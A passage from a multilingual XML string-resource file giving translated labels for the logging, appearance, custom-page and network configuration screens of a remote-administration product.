<fr>Conservation des journaux d'événements :</fr>
<it>Conserva registri eventi per:</it>
<ru>Хранить журналы событий в течение:</ru>
<ja>次のイベント ログを記録 : </ja>
<zh>保留以下的事件日志:</zh>
<ko>다음 기간 동안 이벤트 로그 보관:</ko>
<hu>Naplózás megtartása a következőhöz:</hu>
<pt-br>Manter logs de evento durante:</pt-br>
<nl>Gebeurtenissenlogboeken bewaren voor:</nl>
<en-gb>Keep event logs for:</en-gb>
</msg>
<msg name="XDAYS">
<en>days</en>
<de>Tag(e)</de>
<es>días</es>
<fr>jours</fr>
<it>giorni</it>
<ru>дней</ru>
<ja>日</ja>
<zh>天</zh>
<ko>일</ko>
<en-gb>days</en-gb>
<hu>nap</hu>
<pt-br>dias</pt-br>
<nl>dagen</nl>
</msg>
<msg name="SYSLOGSETTINGS">
<en>Syslog Settings</en>
<de>Syslog Einstellungen</de>
<es>Configuración syslog</es>
<fr>Paramère Syslog</fr>
<it>Impostazioni Syslog</it>
<ru>Параметры компьютера</ru>
<ja>システムログの設定</ja>
<zh>系统日志设置</zh>
<ko>Syslog 설정</ko>
<en-gb>Syslog Settings</en-gb>
<hu>Syslog beállítások</hu>
<pt-br>Configurações do Syslog</pt-br>
<nl>Syslog-instellingen</nl>
</msg>
<msg name="EnableODBC">
<en>Send log events to ODBC data source:</en>
<de>Protokollierte Ereignisse an ODBC Datenquelle senden:</de>
<es>Enviar sucesos de registro a la fuente de datos ODBC:</es>
<fr>Envoyez le journal des événements à la source de données ODBC:</fr>
<it>Invia eventi registro all'origine dati ODBC:</it>
<ru>Отправить события журнала источнику данных ODBC:</ru>
<ja>ログ イベントを ODBC データ ソース宛に送信 :</ja>
<zh>将日志事件发送至 ODBC 数据源:</zh>
<ko>ODBC 데이터 원본에 로그 이벤트 보내기:</ko>
<en-gb>Send log events to ODBC data source:</en-gb>
<hu>Naplózási események küldése ODBC adatforráshoz:</hu>
<pt-br>Envie eventos de log para a fonte de dados ODBC:</pt-br>
<nl>Gebeurtenissen in logboek verzenden naar ODBC-gegevensbron:</nl>
</msg>
<msg name="EnableODBCExplain">
<en>Click here to configure the ODBC data source</en>
<de>Klicken Sie hier, um die ODBC Datenquelle zu konfigurieren</de>
<es>Haga clic aquí para configurar la fuente de datos ODBC</es>
<fr>Cliquez ici pour configurer la source de données ODBC</fr>
<it>Fare clic qui per configurare l'origine dati ODBC</it>
<ru>Щелкните здесь, чтобы настроить источник данных ODBC</ru>
<ja>ODBC データ ソースの設定をするには、ここをクリックします</ja>
<zh>单击此处以配置 ODBC 数据源</zh>
<ko>ODBC 데이터 원본을 구성하려면 여기를 클릭하십시오</ko>
<en-gb>Click here to configure the ODBC data source</en-gb>
<hu>Kattintson ide az ODBC adatforrás konfigurálásához</hu>
<pt-br>Clique aqui para configurar a fonte de dados ODBC</pt-br>
<nl>Klik hier als u de ODBC-gegevensbron wilt configureren</nl>
</msg>
<msg name="EnableSysLog">
<en>Send log events to a Syslog server:</en>
<de>Protokollierte Ereignisse an Syslog Server senden:</de>
<es>Envíe sucesos de registro al servidor syslog:</es>
<fr>Envoyez le journal des événements au serveur Syslog:</fr>
<it>Invia eventi registro a un server Syslog:</it>
<ru>Отправить события журнала серверу Syslog:</ru>
<ja>ログ イベントを Syslogサーバーに送信 :</ja>
<zh>将日志事件发送至系统日志服务器:</zh>
<ko>Syslog 서버에 로그 이벤트 보내기:</ko>
<en-gb>Send log events to a Syslog server:</en-gb>
<hu>Naplózási események küldése a Syslog kiszolgálónak:</hu>
<pt-br>Envie eventos de log para um servidor Syslog:</pt-br>
<nl>Gebeurtenissen in logboek verzenden naar Syslog-server:</nl>
</msg>
<msg name="SysLogHost">
<en>Syslog hostname or IP address:</en>
<de>Syslog Hostname oder IP-Adresse:</de>
<es>Nombre host de syslog o dirección IP:</es>
<fr>Serveur Syslog ou adresse IP</fr>
<it>Nome host Syslog o indirizzo IP:</it>
<ru>Хост-имя или IP-адрес сервера Syslog:</ru>
<ja>Syslog のホスト名または IP アドレス :</ja>
<zh>系统日志主机名或 IP 地址:</zh>
<ko>Syslog 호스트 이름 또는 IP 주소:</ko>
<en-gb>Syslog hostname or IP address:</en-gb>
<hu>Syslog állomásnév vagy IP cím:</hu>
<pt-br>Nome do host ou endereço IP di syslog:</pt-br>
<nl>Hostnaam of IP-adres van Syslog-server:</nl>
</msg>
<msg name="SysLogTCPPort">
<en>Syslog TCP port number:</en>
<de>Syslog TCP Portnummer:</de>
<es>Número de puerto TCP para syslog:</es>
<fr>Numéro de port TCP de Syslog</fr>
<it>Numero porta TCP Syslog:</it>
<ru>Номер TCP-порта Syslog:</ru>
<ja>Syslog TCP ポート番号 :</ja>
<zh>系统日志 TCP 端口号:</zh>
<ko>Syslog TCP 포트 번호:</ko>
<en-gb>Syslog TCP port number:</en-gb>
<hu>Syslog TCP portszám:</hu>
<pt-br>Número da porta TCP do syslog:</pt-br>
<nl>TCP-poortnummer van Syslog-server:</nl>
</msg>
<msg name="SysLogUDPPort">
<en>Syslog UDP port number:</en>
<de>Syslog UDP Portnummer:</de>
<es>Número de puerto UDP para syslog:</es>
<fr>Numéro de port UDP de Syslog</fr>
<it>Numero porta UDP Syslog:</it>
<ru>Номер TCP-порта Syslog:</ru>
<ja>Syslog UDP ポート番号 :</ja>
<zh>系统日志 UDP 端口号:</zh>
<ko>Syslog UDP 포트 번호:</ko>
<en-gb>Syslog UDP port number:</en-gb>
<hu>Syslog UDP portszám:</hu>
<pt-br>Número da porta UDP do syslog:</pt-br>
<nl>UDP-poortnummer van Syslog-server:</nl>
</msg>
<msg name="SysLogUseTCP">
<en>Transport protocol:</en>
<de>Transportprotokoll:</de>
<es>Protocolo de transporte:</es>
<fr>Protocole de transport:</fr>
<it>Protocollo di trasporto:</it>
<ru>Транспортный протокол:</ru>
<ja>トランスポート プロトコル :</ja>
<zh>传输协议:</zh>
<ko>전송 프로토콜:</ko>
<en-gb>Transport protocol:</en-gb>
<hu>Átviteli protokoll:</hu>
<pt-br>Protocolo de transporte:</pt-br>
<nl>Transportprotocol:</nl>
</msg>
<msg name="SysLogUseFacility">
<en>Facility code to report:</en>
<de>Dienst-Code zuordnen:</de>
<es>Código de facilidad para enviar:</es>
<fr>Code de service à rapporter :</fr>
<it>Codice servizio da segnalare:</it>
<ru>Код оборудования для отчета:</ru>
<ja>レポートする機能コード :</ja>
<zh>要报告的设备代码:</zh>
<ko>보고 기능 코드:</ko>
<en-gb>Facility code to report:</en-gb>
<hu>Jelentendő szolgáltatás kódja:</hu>
<pt-br>Código da instalação a relatar:</pt-br>
<nl>Faciliteitscode vermelden:</nl>
</msg>
<msg name="Directory">
<en>Directory for log files:</en>
<de>Verzeichnis für die Protokolldateien:</de>
<es>Directorio para archivos de registro:</es>
<fr>Répertoire pour les fichiers journaux</fr>
<it>Directory per file di registro:</it>
<ru>Каталог для файлов журналов:</ru>
<ja>ログ ファイルのディレクトリ :</ja>
<zh>日志文件所在的目录:</zh>
<ko>로그 파일 디렉터리:</ko>
<en-gb>Directory for log files:</en-gb>
<hu>Naplófájlok könyvtára:</hu>
<pt-br>Diretório dos arquivos de log:</pt-br>
<nl>Map voor logboekbestanden:</nl>
</msg>
<msg brand="LMI" name="Directory">
<en>Location of event logs:</en>
<es>Ubicación de registros de sucesos:</es>
<de>Speicherort der Ereignisprotokolle:</de>
<fr>Emplacement des journaux d'événements :</fr>
<it>Percorso dei registri eventi:</it>
<ru>Расположение журналов событий:</ru>
<ja>イベント ログの場所 : </ja>
<zh>事件日志的位置:</zh>
<ko>이벤트 로그 위치:</ko>
<hu>Eseménynaplók helye:</hu>
<pt-br>Local dos logs de evento:</pt-br>
<nl>Locatie van gebeurtenislogboeken:</nl>
<en-gb>Location of event logs:</en-gb>
</msg>
<msg name="DirectoryExplain">
<en>Leave blank to place log files in the installation directory</en>
<de>Bei leerem Feld werden die Protokolldateien im Installationsverzeichnis abgelegt</de>
<es>Dejar en blanco si desea que se coloquen los archivos de registro en el directorio de instalación</es>
<fr>Laissez vide pour placer les fichiers journaux dans le répertoire d'installation</fr>
<it>Lasciare vuoto per inserire i file di registro nella directory di installazione</it>
<ru>Оставьте пустым, чтобы поместить файлы журналов в каталог установки</ru>
<ja>インストール ディレクトリにログ ファイルを配置するには、空欄のままにします。</ja>
<zh>保留为空白以将日志文件放置到安装目录中</zh>
<ko>설치 디렉터리에 로그 파일을 저장하려면 비워 두십시오</ko>
<en-gb>Leave blank to place log files in the installation directory</en-gb>
<hu>Ha a naplófájlokat a telepítési könyvtárba kívánja helyezni, akkor hagyja üresen</hu>
<pt-br>Deixe em branco para inserir os arquivos de log no diretório de instalação</pt-br>
<nl>Vul in dit veld niets in als u de logboekbestanden in de installatiemap wilt bewaren</nl>
</msg>
<msg name="BROWSE">
<en>Browse...</en>
<de>Durchsuchen</de>
<es>Buscar...</es>
<fr>Parcourrir</fr>
<it>Sfoglia...</it>
<ru>Обзор...</ru>
<ja>参照...</ja>
<zh>浏览...</zh>
<ko>찾아보기...</ko>
<en-gb>Browse...</en-gb>
<hu>Tallózás...</hu>
<pt-br>Pesquisar...</pt-br>
<nl>Bladeren...</nl>
</msg>
</cat>
<!-- CONFIG.APPEARANCE - Appearance configuration page -->
<cat name="APPEARANCE">
<msg name="TITLE">
<en>Appearance</en>
<de>Erscheinungsbild</de>
<es>Apariencia</es>
<fr>Aspect</fr>
<it>Aspetto</it>
<ru>Внешний вид</ru>
<ja>表示</ja>
<zh>外观</zh>
<ko>모양</ko>
<en-gb>Appearance</en-gb>
<hu>Megjelenés</hu>
<pt-br>Aparência</pt-br>
<nl>Weergave</nl>
</msg>
<msg name="GENERALSETTINGS">
<en>General Settings</en>
<de>Allgemeine Einstellungen</de>
<es>Configuración general</es>
<fr>Paramètres Généraux</fr>
<it>Impostazioni generali</it>
<ru>Общие параметры</ru>
<ja>全般の設定</ja>
<zh>常规设置</zh>
<ko>일반 설정</ko>
<en-gb>General Settings</en-gb>
<hu>Általános beállítások</hu>
<pt-br>Configurações gerais</pt-br>
<nl>Algemene instellingen</nl>
</msg>
<msg name="AdvInterface">
<en>Display IT Reach interface</en>
<es>Mostrar interfaz IT Reach</es>
<fr>Affiche l'interface IT Reach</fr>
<de>IT Reach Benutzeroberfläche anzeigen</de>
<it>Visualizza interfaccia IT Reach</it>
<ru>Показать интерфейс IT Reach</ru>
<ja>IT Reach インターフェイスを表示</ja>
<zh>显示 IT Reach 界面</zh>
<ko>IT Reach 인터페이스 표시</ko>
<en-gb>Display IT Reach interface</en-gb>
<hu>IT Reach felhasználói felület megjelenítése</hu>
<pt-br>Exibir interface do IT Reach</pt-br>
<nl>IT Reach-interface weergeven</nl>
</msg>
<msg name="PerfViewer">
<en>Display performance viewer applet at the top of the screen</en>
<de>Leistungsmonitor-Applet am oberen Fensterrand anzeigen</de>
<es>Mostrar miniprograma visor de rendimiento en la parte superior de la pantalla</es>
<fr>Afficher l'applet des prestations en avant plan</fr>
<it>Visualizza l'applet del visualizzatore di prestazioni nella parte superiore dello schermo</it>
<ru>Показывать апплет для просмотра данных о производительности наверху экрана</ru>
<ja>画面の一番上にパフォーマンス ビューア アプレットを表示する</ja>
<zh>在屏幕顶部显示性能查看器小程序</zh>
<ko>화면 맨 위에 성능 뷰어 애플릿 표시</ko>
<en-gb>Display performance viewer applet at the top of the screen</en-gb>
<hu>Teljesítmény-megjelenítő segédalkalmazás megjelenítése a képernyő felső részén</hu>
<pt-br>Exibir miniaplicativo do visualizador de desempenho no topo da tela</pt-br>
<nl>Viewerapplet voor prestaties bovenaan op het scherm weergeven</nl>
</msg>
<msg name="ToolTips">
<en>Enable tooltips</en>
<de>Tooltips aktivieren</de>
<es>Habilitar tooltips</es>
<fr>Activer les suggestions</fr>
<it>Attiva descrizioni comandi</it>
<ru>Включить подсказки</ru>
<ja>ツール ヒントを有効にする</ja>
<zh>启用工具提示</zh>
<ko>툴팁 사용</ko>
<en-gb>Enable tooltips</en-gb>
<hu>Eszköztippek bekapcsolása</hu>
<pt-br>Habilitar dicas de ferramentas</pt-br>
<nl>Knopinfo inschakelen</nl>
</msg>
<msg name="UseIcons">
<en>Enable icons</en>
<de>Icons aktivieren</de>
<es>Habilitar iconos</es>
<fr>Activer les icônes</fr>
<it>Attiva icone</it>
<ru>Включить значки</ru>
<ja>アイコンを有効にする</ja>
<zh>启用图标</zh>
<ko>아이콘 사용</ko>
<en-gb>Enable icons</en-gb>
<hu>Ikonok bekapcsolása</hu>
<pt-br>Habilitar ícones</pt-br>
<nl>Pictogrammen inschakelen</nl>
</msg>
<msg name="KioskMode">
<en>Disable %PRODUCTNAME notification messages</en>
<de>%PRODUCTNAME-Benachrichtigungen deaktivieren</de>
<es>Desactivar los mensajes de notificación de %PRODUCTNAME.</es>
<fr>Désactiver les messages de notification de %PRODUCTNAME</fr>
<it>Disattiva messaggi di notifica di %PRODUCTNAME</it>
<ru>Отключить сообщение об ошибке %PRODUCTNAME</ru>
<ja>%PRODUCTNAMEの通知メッセージを無効にする</ja>
<ko>%PRODUCTNAME 알림 메시지 사용 안 함</ko>
<hu>%PRODUCTNAME üzenetek megjelenítésének kikapcsolása</hu>
<pt-br>Desabilitar mensagens de notificação do %PRODUCTNAME</pt-br>
<zh>禁用 %PRODUCTNAME 通知消息</zh>
<nl>Berichten met meldingen van %PRODUCTNAME uitschakelen</nl>
</msg>
<msg name="UseSimplifiedFM">
<en>Use simplified File Manager</en>
<de>Vereinfachten Datei-Manager verwenden</de>
<es>Usar gestor de archivos simplificado</es>
<fr>Utiliser le gestionnaire de fichiers simplifié</fr>
<it>Usa Gestione file semplificata</it>
<ru>Использовать упрощенный диспетчер файлов</ru>
<ja>シンプルなファイル管理を使用する</ja>
<zh>使用简化的文件管理器</zh>
<ko>단순화된 파일 관리자 사용</ko>
<en-gb>Use simplified File Manager</en-gb>
<hu>Egyszerű fájlkezelő használata</hu>
<pt-br>Usar o Gerenciador de arquivos simplificado</pt-br>
<nl>Vereenvoudigd Bestandsbeheer gebruiken</nl>
</msg>
<msg name="ItemsPerPage">
<en>Default number of items per page for long lists</en>
<de>Voreingestellte Anzahl von Elementen pro Seite für lange Listen</de>
<es>Número de elementos preestablecidos por página para listas largas</es>
<fr>Nombre par défaut des éléments par page pour de longues listes</fr>
<it>Numero predefinito di voci per pagina per elenchi lunghi</it>
<ru>Стандартное число элементов на страницу для длинных списков</ru>
<ja>長いリストでのページごとの既定の項目数</ja>
<zh>长列表的每页默认项目数</zh>
<ko>긴 목록에서 페이지당 기본 항목 수</ko>
<en-gb>Default number of items per page for long lists</en-gb>
<hu>Alapértelmezett elemszám oldalanként a hosszú listákhoz</hu>
<pt-br>Número padrão de itens por página para listas longas</pt-br>
<nl>Standaardaantal items per pagina voor lange lijsten</nl>
</msg>
<msg name="ItemsPerPageWap">
<en>Default number of items per WAP page</en>
<de>Voreingestellte Anzahl von Elementen pro WAP Seite</de>
<es>Número de elementos por defecto para página WAP</es>
<fr>Nombre par défaut d'éléments par page WAP</fr>
<it>Numero predefinito di voci per pagina WAP</it>
<ru>Стандартное число элементов на WAP-страницу</ru>
<ja>WAP ページあたりの既定の項目数</ja>
<zh>每个 WAP 页面的默认项目数</zh>
<ko>WAP 페이지당 기본 항목 수</ko>
<en-gb>Default number of items per WAP page</en-gb>
<hu>Alapértelmezett elemszám WAP oldalanként</hu>
<pt-br>Número padrão de itens por página WAP</pt-br>
<nl>Standaardaantal items per WAP-pagina</nl>
</msg>
<msg name="DisplayWelcomeScreen">
<en>Display the Getting Started screen when %PRODUCTNAME is started.</en>
<de>Beim Ausführen von %PRODUCTNAME Seite „Erste Schritte“ anzeigen.</de>
<es>Mostrar la pantalla de Primeros pasos cuando se inicie %PRODUCTNAME.</es>
<fr>Afficher l'écran d'accueil au démarrage de %PRODUCTNAME.</fr>
<it>Visualizza la Guida introduttiva all'avvio di %PRODUCTNAME.</it>
<nl>Toon het scherm Aan de slag wanneer %PRODUCTNAME wordt gestart.</nl>
<pt-br>Exibir a tela Boas-Vindas quando o %PRODUCTNAME for iniciado.</pt-br>
<hu>Az Első lépések képernyő megjelenítése a %PRODUCTNAME indulásakor.</hu>
<ru>Показывать страницу «Начало работы» при запуске %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME の起動時に [はじめに] 画面を表示する</ja>
<ko>%PRODUCTNAME이(가) 시작되면 시작하기 화면을 표시합니다.</ko>
<zh>在 %PRODUCTNAME 启动时显示快速入门屏幕。</zh>
</msg>
</cat>
<!-- CONFIG.CUSTPAGES - Custom pages configuration -->
<cat name="CUSTPAGES">
<msg name="TITLE">
<en>Custom Pages</en>
<de>Benutzerdefinierte Webseite</de>
<es>Páginas personalizadas</es>
<fr>Pages Personalisées</fr>
<it>Pagine personalizzate</it>
<ru>Пользовательские страницы</ru>
<ja>カスタム ページ</ja>
<zh>自定义页面</zh>
<ko>사용자 지정 페이지</ko>
<en-gb>Custom Pages</en-gb>
<hu>Egyéni oldalak</hu>
<pt-br>Personalizar páginas</pt-br>
<nl>Aangepaste pagina's</nl>
</msg>
<msg name="DIRECTORY">
<en>Custom HTTP directory</en>
<de>Benutzerdefiniertes HTTP Verzeichnis</de>
<es>Directorio HTTP personalizado</es>
<fr>Dossiers contenant les pages psersonalisés</fr>
<it>Directory HTTP personalizzata</it>
<ru>Пользовательский каталог HTTP</ru>
<ja>カスタム HTTP ディレクトリ</ja>
<zh>自定义 HTTP 目录</zh>
<ko>사용자 지정 HTTP 디렉터리</ko>
<en-gb>Custom HTTP directory</en-gb>
<hu>Egyéni HTTP könyvtár</hu>
<pt-br>Personalizar diretório HTTP</pt-br>
<nl>Aangepaste HTTP-directory</nl>
</msg>
<msg name="DEFPAGE">
<en>Custom HTTP default index file</en>
<de>Benutzerdefinierte HTTP Index Datei</de>
<es>Archivo de índice preestablecido para HTTP personalizado</es>
<fr>Fichier d'index par défaut des pages personalisées</fr>
<it>File di indice predefinito per HTTP personalizzato</it>
<ru>Пользовательский индексный файл HTTP по умолчанию</ru>
<ja>カスタム HTTP の既定の索引ファイル</ja>
<zh>自定义 HTTP 默认索引文件</zh>
<ko>사용자 지정 HTTP 기본 인덱스 파일</ko>
<en-gb>Custom HTTP default index file</en-gb>
<hu>Egyéni HTTP alapértelmezett indexfájl</hu>
<pt-br>Personalizar arquivo de indexação padrão HTTP</pt-br>
<nl>Aangepast HTTP-standaardindexbestand</nl>
</msg>
<msg name="NOTE">
<en>Leave the directory field empty if you don't want to use custom pages.</en>
<de>Lassen Sie das Feld leer, wenn Sie keine benutzerdefinierte Webseite nutzen wollen.</de>
<es>Deje el campo de directorio vacío si no desea utilizar páginas personalizadas.</es>
<fr>Laissez le champ du dossier vide si vous ne voulez pas utiliser les pages personalisées</fr>
<it>Lasciare vuoto il campo della directory se non si desidera utilizzare le pagine personalizzate.</it>
<ru>Оставьте поле каталога пустым, если не предполагается использование пользовательских страниц.</ru>
<ja>カスタム ページを使用しない場合は、ディレクトリ フィールドを空欄のままにします。</ja>
<zh>如果不想使用自定义页面,请将目录字段留空。</zh>
<ko>사용자 지정 페이지를 사용하지 않으려면 디렉터리 필드를 비워 두십시오.</ko>
<en-gb>Leave the directory field empty if you don't want to use custom pages.</en-gb>
<hu>Hagyja a könyvtár mezőt üresen, ha nem kíván egyéni oldalakat használni</hu>
<pt-br>Deixe o campo do diretório em branco se não desejar usar as páginas personalizadas.</pt-br>
<nl>Vul in het veld voor het bestandspad niets in als u geen aangepaste pagina's wilt gebruiken.</nl>
</msg>
<msg name="DISABLED">
<en>This section of %PRODUCTNAME can be used to display HTML pages stored on, or generated
by the host computer. Click the button below to define the HTTP directory and
index file that will be used for Custom Pages.</en>
<de>Diese Sektion von %PRODUCTNAME kann genutzt werden um HTML Seiten anzuzeigen,
die auf dem Rechner  erzeugt oder abgespeichert wurden. Klicken Sie auf die Schaltfläche
unten, um das HTTP Verzeichnis und die Indexdatei, über die Sie auf Ihre Benutzerdefinierten
Webseiten zugreifen wollen, zu definieren.</de>
<es>Esta selección de %PRODUCTNAME puede utilizarse para mostrar las páginas HTML almacenadas o generadas
por el ordenador host. Haga clic en el botón de abajo para definir el directorio HTTP y
el archivo de índice que se utilizarán para las páginas personalizadas.</es>
<fr>Cette section de %PRODUCTNAME peut être employée pour montrer des pages HTML stockées ou générées
par l'ordinateur hôte. Cliquez le bouton ci-dessous pour définir le dossier HTTP et
le fichier d'index qui seront employés pour les pages personalisées.</fr>
<it>Questa sezione di %PRODUCTNAME può essere utilizzata per visualizzare pagine HTML memorizzate o generate dal computer host. Fare clic sul pulsante riportato di seguito per definire la directory HTTP e il file di indice da utilizzare per le pagine personalizzate.</it>
<ru>Этот раздел программы %PRODUCTNAME можно использовать для отображения HTML-страниц, сохраненных или сгенерированных на хост-компьютере. Щелкните расположенную ниже кнопку, чтобы определить каталог и индексный файл HTTP, который будет использоваться вместе с пользовательскими страницами.</ru>
<ja>%PRODUCTNAME のこのセクションを、ホスト コンピュータに保存されたかホスト コンピュータにより作成された HTML ページの表示に使用することができます。カスタム ページに使用する HTTP ディレクトリ ファイルと索引ファイルを定義するには、以下のボタンをクリックします。</ja>
<zh>%PRODUCTNAME 的该部分可用于显示在主机上存储或由主机生成的 HTML 页面。单击以下按钮以定义将用于自定义页面的 HTTP 目录和索引文件。</zh>
<ko>이 %PRODUCTNAME 섹션은 호스트 컴퓨터에 의해 생성되거나 저장된 HTML 페이지를 표시하는 데 사용될 수 있습니다. 사용자 지정 페이지에 대해 사용할 HTTP 디렉터리 및 인덱스 파일을 정의하려면 아래 버튼을 클릭하십시오.</ko>
<en-gb>This section of %PRODUCTNAME can be used to display HTML pages stored on, or generated by, the host computer. Click the button below to define the HTTP directory and index file that will be used for Custom Pages.</en-gb>
<hu>A %PRODUCTNAME e szakasza a gazdagépen tárolt, vagy készített HTML oldalak
megjelenítésére használható. Kattintson az alábbi gombra a HTTP könyvtár és indexfájl
megadásához, amelyek az egyéni oldalakhoz használhatók</hu>
<pt-br>Esta seção do %PRODUCTNAME pode ser usada para exibir páginas HTML armazenadas ou geradas
pelo computador host. Clique no botão abaixo para definir o diretório http e
o arquivo de indexação que será usado para as páginas personalizadas.</pt-br>
<nl>In dit gedeelte van %PRODUCTNAME kunnen HTML-pagina's worden weergegeven die zijn opgeslagen op of werden gegenereerd door de hostcomputer. Klik op de onderstaande knop om de HTTP-map en het HTTP-indexbestand op te geven die voor aangepaste pagina's zullen worden gebruikt.</nl>
</msg>
<msg name="DISABLED.NORIGHTSTOCONFIG">
<en>This section of %PRODUCTNAME can be used to display HTML pages stored on or generated
by the host computer. Your user account does not have the permissions to configure custom pages
</en>
<de>Diese Sektion von %PRODUCTNAME kann genutzt werden um HTML Seiten anzuzeigen, die auf dem Computer abgespeichert oder erzeugt wurden, auf dem %PRODUCTNAME installiert ist. Ihr Benutzerkonto ist nicht berechtigt benutzerdefinierte Webseiten zu konfigurieren.</de>
<es>Esta selección de %PRODUCTNAME puede utilizarse para mostrar las páginas HTML almacenadas o generadas
por el ordenador host. Su cuenta de usuario no tiene los permisos necesarios para configurar páginas personalizadas</es>
<fr>Cette section de %PRODUCTNAME peut être employée pour montrer des pages HTML stockées ou générées
par l'ordinateur hôte. Votre compte utilisateur n'a pas les permissions pour configurer des pages personalisées</fr>
<it>Questa sezione di %PRODUCTNAME può essere utilizzata per visualizzare pagine HTML memorizzate o generate dal computer host. L'account utente in uso non dispone delle autorizzazioni per la configurazione delle pagine personalizzate.</it>
<ru>Этот раздел программы %PRODUCTNAME можно использовать для отображения HTML-страниц, сохраненных или сгенерированных на хост-компьютере. Данная учетная запись пользователя не имеет разрешений для настройки пользовательских страниц</ru>
<ja>%PRODUCTNAME のこのセクションは、ホスト コンピュータに保存されたかホスト コンピュータにより作成された HTML ページの表示に使用することができます。このユーザ アカウントには、カスタム ページを設定する権限がありません。</ja>
<zh>%PRODUCTNAME 的该部分可用于显示在主机上存储或由主机生成的 HTML 页面。您的用户帐户不具有配置自定义页面的权限</zh>
<ko>이 %PRODUCTNAME 섹션은 호스트 컴퓨터에 의해 생성되거나 저장된 HTML 페이지를 표시하는 데 사용될 수 있습니다. 사용자 계정에는 사용자 지정 페이지를 구성할 수 있는 권한이 없습니다</ko>
<en-gb>This section of %PRODUCTNAME can be used to display HTML pages stored on, or generated by, the host computer. Your user account does not have the permissions to configure custom pages</en-gb>
<hu>A %PRODUCTNAME e szakasza a gazdagépen tárolt, vagy készített HTML oldalak
megjelenítésére használható. Az Ön felhasználói fiókja nem rendelkezik megfelelő engedélyekkel egyéni oldalak konfigurálásához</hu>
<pt-br>Esta seção do pode %PRODUCTNAME ser usada para exibir páginas HTML armazenadas ou geradas
pelo computador host. Sua conta de usuário não tem permissão para configurar páginas personalizadas</pt-br>
<nl>In dit gedeelte van %PRODUCTNAME kunnen HTML-pagina's worden weergegeven die zijn opgeslagen op of werden gegenereerd door de hostcomputer.  Met uw gebruikersaccount beschikt u niet over de vereiste toestemmingen om aangepaste pagina's te configureren</nl>
</msg>
</cat>
<!-- CONFIG.NET - Network configuration page -->
<cat name="NET">
<msg name="TITLE">
<en>Network</en>
<de>Netzwerk</de>
<es>Red</es>
<fr>Réseau</fr>
<it>Rete</it>
<ru>Сеть</ru>
<ja>ネットワーク</ja>
<zh>网络</zh>
<ko>네트워크</ko>
<en-gb>Network</en-gb>
<hu>Hálózat</hu>
<pt-br>Rede</pt-br>
<nl>Netwerk</nl>
</msg>
<msg name="TITLE.LMIPRO">
<en>Network Settings</en>
<de>Netzwerkeinstellungen</de>
<es>Configuración de red</es>
<fr>Paramètres Réseau</fr>
<it>Impostazioni di rete</it>
<ru>Конфигурация сети</ru>
<ja>ネットワークの設定</ja>
<zh>网络设置</zh>
<ko>네트워크 설정</ko>
<en-gb>Network Settings</en-gb>
<hu>Hálózati beállítások</hu>
<pt-br>Configurações de rede</pt-br>
<nl>Netwerkinstellingen</nl>
</msg>
<msg name="GENERALSETTINGS">
<en>General Settings</en>
<de>Allgemeine Einstellungen</de>
<es>Configuración general</es>
<fr>Paramètres Généraux</fr>
<it>Impostazioni generali</it>
<ru>Общие параметры</ru>
<ja>全般の設定</ja>
<zh>常规设置</zh>
<ko>일반 설정</ko>
<en-gb>General Settings</en-gb>
<hu>Általános beállítások</hu>
<pt-br>Configurações gerais</pt-br>
<nl>Algemene instellingen</nl>
</msg>
<msg name="ListenPort">
<en>TCP/IP port to listen on</en>
<de>Verwendeter TCP Port</de>
<es>Puerto TCP/IP para escucha</es>
<fr>Port TCP/IP entrant</fr>
<it>Porta TCP/IP di attesa</it>
<ru>TCP/IP-порт для прослушивания</ru>
<ja>リスンする TCP/IP ポート</ja>
<zh>要侦听的 TCP/IP 端口</zh>
<ko>수신 TCP/IP 포트</ko>
<en-gb>TCP/IP port to listen on</en-gb>
<hu>Figyelt TCP/IP port</hu>
<pt-br>Porta TCP/IP para ouvir</pt-br>
<nl>TCP/IP-poort controleren</nl>
</msg>
<msg name="ListenIP">
<en>TCP/IP address to listen on</en>
<de>Verwendete IP-Adressen</de>
<es>Dirección para escucha</es>
<fr>Adresse TCP/IP entrante</fr>
<it>Indirizzo TCP/IP di attesa</it>
<ru>TCP/IP-адрес для прослушивания</ru>
<ja>リスンする TCP/IP アドレス</ja>
<zh>要侦听的 TCP/IP 地址</zh>
<ko>수신 TCP/IP 주소</ko>
<en-gb>TCP/IP address to listen on</en-gb>
<hu>Figyelt TCP/IP cím</hu>
<pt-br>Endereço TCP/IP para ouvir</pt-br>
<nl>TCP/IP-adres controleren</nl>
</msg>
<msg name="IPFilter">
<en>IP filter profile to use</en>
<de>Verwendetes IP Filterprofil</de>
<es>Perfil de filtro IP aplicable</es>
<fr>Profil Filtre IP à utiliser</fr>
<it>Profilo di filtro IP da utilizzare</it>
<ru>Используемый профиль IP-фильтров</ru>
<ja>使用する IP フィルタのプロファイル</ja>
<zh>要使用的 IP 过滤器配置文件</zh>
<ko>사용할 IP 필터 프로필</ko>
<en-gb>IP filter profile to use</en-gb>
<hu>Használandó IP szűrőprofil</hu>
<pt-br>Perfil do filtro de IP a usar</pt-br>
<nl>Te gebruiken IP-filterprofiel</nl>
</msg>
<msg name="AllAvailable">
<en>All available interfaces</en>
<de>Alle verfügbaren Anschlüsse</de>
<es>Todos los interfaces disponibles</es>
<fr>Toutes les interfaces disponibles</fr>
<it>Tutte le interfacce disponibili</it>
<ru>Все доступные интерфейсы</ru>
<ja>すべての有効なインターフェイス</ja>
<zh>所有可用的接口</zh>
<ko>사용 가능한 모든 인터페이스</ko>
<en-gb>All available interfaces</en-gb>
<hu>Minden elérhető felhasználói felület</hu>
<pt-br>Todas as interfaces disponíveis</pt-br>
<nl>Alle beschikbare interfaces</nl>
</msg>
<msg name="AcceptUnsecured">
<en>Accept unsecured HTTP connections (non-SSL)</en>
<de>Unsichere HTTP Verbindungen (kein SSL) akzeptieren</de>
<es>Aceptar conexiones HTTP no seguras (no-SSL)</es>
<fr>Accepter les connexions HTTP non sécurisées (non-SSL)</fr>
<it>Accetta connessioni HTTP non protette (non SSL)</it>
<ru>Принимать небезопасные HTTP-соединения (не по протоколу SSL)</ru>
<ja>安全でない HTTP 接続 (非 SSL) を許可</ja>
<zh>接受非安全的 HTTP 连接(非 SSL)</zh>
<ko>보안되지 않은 HTTP 연결 허용(비 SSL)</ko>
<en-gb>Accept unsecured HTTP connections (non-SSL)</en-gb>
<hu>Nem biztonságos HTTP kapcsolatok (nem SSL) fogadása</hu>
<pt-br>Aceitar conexões http não seguras (não SSL)</pt-br>
<nl>Onbeveiligde HTTP-verbindingen (niet-SSL) accepteren</nl>
</msg>
<msg name="BrokenProxy">
<en>Broken proxy server mask</en>
<de>"Broken proxy server mask"</de>
<es>Máscara del servidor proxy caída</es>
